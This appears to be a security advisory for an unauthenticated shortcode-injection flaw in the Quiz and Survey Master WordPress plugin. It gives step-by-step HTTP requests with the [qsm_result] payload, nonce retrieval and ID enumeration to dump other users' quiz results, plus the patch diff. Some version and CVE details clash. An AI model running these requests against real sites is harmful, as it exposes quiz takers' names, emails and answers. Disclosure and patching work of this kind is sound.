Quiz and Survey Master (QSM) <= 11.1.0 - Unauthenticated Shortcode Injection Leading to Arbitrary Quiz Result Disclosure via Quiz Answer Text Input Fields
Description
The Quiz And Survey Master plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to and including 11.1.0. This is due to insufficient input sanitization and the execution of do_shortcode() on user-submitted quiz answer text. User-submitted answers pass through sanitize_text_field() and htmlspecialchars(), which only strip HTML tags but do not encode or remove shortcode brackets [ and ]. When quiz results are displayed, the plugin calls do_shortcode() on the entire results page output (including user answers), causing any injected shortcodes to be executed. This makes it possible for unauthenticated attackers to inject arbitrary WordPress shortcodes such as [qsm_result id=X] to access other users' quiz submissions without authorization, as the qsm_result shortcode lacks any authorization checks.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=10.1.0What Changed in the Fix
Changes introduced in v11.1.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM) ## 1. Vulnerability Summary The **Quiz and Survey Master (QSM)** plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerab…
Show full research plan
Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM)
1. Vulnerability Summary
The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerability exists because user-submitted quiz answers are sanitized using sanitize_text_field() and htmlspecialchars(), which strip HTML but fail to remove or encode square brackets [ and ]. When a quiz is submitted via AJAX, the plugin generates a results page based on a template (e.g., using the %QUESTIONS_ANSWERS% variable). Crucially, the plugin then executes do_shortcode() on this final output. An attacker can inject a shortcode like [qsm_result id=X] into a text input answer field. When the results are displayed to the attacker, the injected shortcode executes, disclosing the quiz results of an arbitrary submission ID (X) because the qsm_result shortcode lacks authorization checks.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
qmn_process_quiz(registered inQMNQuizManager::add_hooks) - Vulnerable Parameter: Question answer fields (e.g.,
questionXwhere X is the question ID) and potentially contact fields (e.g.,mlwUserName). - Authentication: Unauthenticated (the plugin registers
wp_ajax_nopriv_qmn_process_quiz). - Preconditions:
- A quiz must exist with at least one text-based question (input or textarea).
- The "Results Page" template for that quiz must be configured to display the user's answers (default behavior using
%QUESTIONS_ANSWERS%or%USER_ANSWERS_DEFAULT%).
3. Code Flow
- Entry: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=qmn_process_quiz. - AJAX Handler:
QMNQuizManager::ajax_submit_results()(inphp/classes/class-qmn-quiz-manager.php) is triggered. - Processing Answers: The plugin iterates through the submitted answers. For text questions,
QSM_Question_Review::sanitize_answer_from_postis called, which utilizessanitize_text_field()orsanitize_textarea_field(). These functions do not neutralize shortcode brackets. - Result Generation: After scoring, the plugin prepares the "Message After" content (the results page). It replaces template variables (like
%QUESTIONS_ANSWERS%) with the user-provided (and injected) answer strings. - Shortcode Execution: The plugin calls
do_shortcode()on the resulting string. - Sink: The WordPress shortcode parser encounters
[qsm_result id=X]. It callsQMNQuizManager::shortcode_display_result(), which fetches and returns the quiz result for the specified ID without checking if the current user owns that result. - Disclosure: The leaked result data is returned in the AJAX response to the attacker.
4. Nonce Acquisition Strategy
The qmn_process_quiz action requires a nonce. This nonce is generated specifically for each quiz and can be obtained via a secondary AJAX action.
- Find a Quiz: Identify an existing quiz ID (e.g.,
1). - Fetch Nonce: Perform an unauthenticated AJAX request to get the nonce for that specific quiz ID.
- Action:
qsm_create_quiz_nonce(registered inQMNQuizManager::add_hooks). - Parameter:
quiz_id.
- Action:
- Extract from Response: The response is a JSON object.
- Key:
response.data.nonce. - Note: The response also provides a
unique_keywhich may be required in the submission.
- Key:
Implementation via Browser Eval:
If navigating to a page containing the quiz:
// Localization object found in js/qsm-quiz.js via qmn_ajax_object
const ajax_url = qmn_ajax_object.ajaxurl;
// You can also find the quiz ID from the HTML (.qsm-quiz-container-ID)
5. Exploitation Strategy
Step 1: Create Target Data
Submit a "legitimate" quiz response to generate a result_id in the database.
Step 2: Obtain Submission Nonce
Request a nonce for the target quiz.
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=qsm_create_quiz_nonce&quiz_id=1 - Capture:
nonceandunique_key.
Step 3: Inject Shortcode
Submit a second quiz response containing the injection.
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=qmn_process_quiz&quiz_id=1&qmn_nonce=[NONCE]&qsm_unique_key=[UNIQUE_KEY]&question1=[qsm_result id=1]&timer=10 - Note:
question1assumes the question ID is 1. The payload is[qsm_result id=1].
Step 4: Capture Disclosure
The response to the Step 3 request will contain the rendered HTML of the results page. Look for the output of the [qsm_result] shortcode, which will contain the details (name, email, answers) of result ID 1.
6. Test Data Setup
- Create Quiz:
wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_quizzes\", ['quiz_name' => 'Vulnerable Quiz', 'message_after' => 'Results: %QUESTIONS_ANSWERS%', 'deleted' => 0]);" # Get the ID (likely 1) - Create Question:
wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_questions\", ['quiz_id' => 1, 'question_type_new' => 'text', 'question_name' => 'Enter text', 'answer_array' => serialize([]), 'deleted' => 0]);" - Ensure Page Exists:
wp post create --post_type=page --post_status=publish --post_title="Quiz Page" --post_content='[qsm quiz="1"]' - Generate Legitimate Result:
Perform one submission via Step 2/3 (without injection) to populate the results table and get aresult_id.
7. Expected Results
A successful exploit will return a JSON response where the display or html field contains the rendered results of the other user's submission.
Example snippet in response:
<div class="qsm-results-container">
<h3>Result for John Doe</h3>
<p>Email: john@example.com</p>
... [Data from Result ID 1] ...
</div>
8. Verification Steps
- Check Results Table: Confirm multiple entries exist in
wp_mlw_results.wp db query "SELECT result_id, quiz_id, name, email FROM wp_mlw_results" - Confirm Vulnerable Code Path: Verify that the text submitted in Step 3 matches the data belonging to the
result_idtargeted in the shortcode.
9. Alternative Approaches
- Contact Fields: If question fields are heavily sanitized, try injecting into
mlwUserNameormlwUserEmailcontact fields handled byQSM_Contact_Manager. - Shortcode Variants: If
[qsm_result]is somehow restricted, use other info-disclosing shortcodes like[qsm_leaderboard quiz_id=1]or standard WordPress shortcodes to confirm execution (e.g.,[site_value...]). - Timing/ID Brute Force: Since
result_idis an auto-incrementing integer, an attacker can iterate through IDs (e.g.,[qsm_result id=1],[qsm_result id=2]) to dump the entire results database.
Summary
Unauthenticated attackers can inject arbitrary WordPress shortcodes into quiz answer fields, which are subsequently executed when the plugin renders the results page using do_shortcode(). By injecting the [qsm_result] shortcode, an attacker can bypass authorization and disclose sensitive quiz submission data belonging to any user by providing their result ID.
Vulnerable Code
// php/classes/question-types/class-question-review.php:36 public function sanitize_answer_from_post( $data ) { if ( 'text_area' === $this->input_field ) { return sanitize_textarea_field( wp_unslash( $data ) ); } else { return sanitize_text_field( wp_unslash( $data ) ); } } --- // php/classes/class-qmn-quiz-manager.php:574 public function shortcode_display_result( $attr ) { $id = intval( $attr['id'] ); global $wpdb; $result_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d", $id ), ARRAY_A ); if ( $result_data ) { wp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version ); // ... (continues to render result without checking ownership)
Security Fix
@@ -577,6 +577,20 @@ global $wpdb; $result_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d", $id ), ARRAY_A ); if ( $result_data ) { + $current_user_id = get_current_user_id(); + $result_user_id = intval( $result_data['user'] ); + $can_view_result = false; + if ( current_user_can( 'manage_options' ) || current_user_can( 'qsm_view_results' ) ) { + $can_view_result = true; + } elseif ( $current_user_id > 0 && $current_user_id === $result_user_id ) { + $can_view_result = true; + } + $can_view_result = apply_filters( 'qsm_can_view_result', $can_view_result, $id, $result_data, $current_user_id ); + if ( ! $can_view_result ) { + esc_html_e( 'You do not have permission to view this result.', 'quiz-master-next' ); + $content = ob_get_clean(); + return $content; + } wp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version ); wp_style_add_data( 'qmn_quiz_common_style', 'rtl', 'replace' ); wp_enqueue_style( 'dashicons' ); @@ -35,10 +35,11 @@ public function sanitize_answer_from_post( $data ) { if ( 'text_area' === $this->input_field ) { - return sanitize_textarea_field( wp_unslash( $data ) ); + $sanitized = sanitize_textarea_field( wp_unslash( $data ) ); } else { - return sanitize_text_field( wp_unslash( $data ) ); + $sanitized = sanitize_text_field( wp_unslash( $data ) ); } + return strip_shortcodes( $sanitized ); }
Exploit Outline
The exploit is achieved by submitting a quiz response that contains a shortcode payload. 1. **Preparation**: Identify a target Quiz ID. Use an unauthenticated AJAX request to `action=qsm_create_quiz_nonce` with the `quiz_id` to retrieve a valid security nonce and `unique_key` required for submission. 2. **Injection**: Send a POST request to `admin-ajax.php` with `action=qmn_process_quiz`. In one of the question answer parameters (e.g., `question1`), include the payload `[qsm_result id=X]`, where `X` is the ID of a victim's quiz result. 3. **Execution**: The plugin processes the answers using `sanitize_text_field()`, which fails to remove square brackets. It then generates the results page content, substituting the user's answer into the template. Finally, it calls `do_shortcode()` on the resulting HTML. 4. **Disclosure**: Because the `qsm_result` shortcode lacks ownership or permission checks, it fetches and renders the full details of the quiz result for ID `X`. This rendered data is returned to the attacker in the AJAX response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.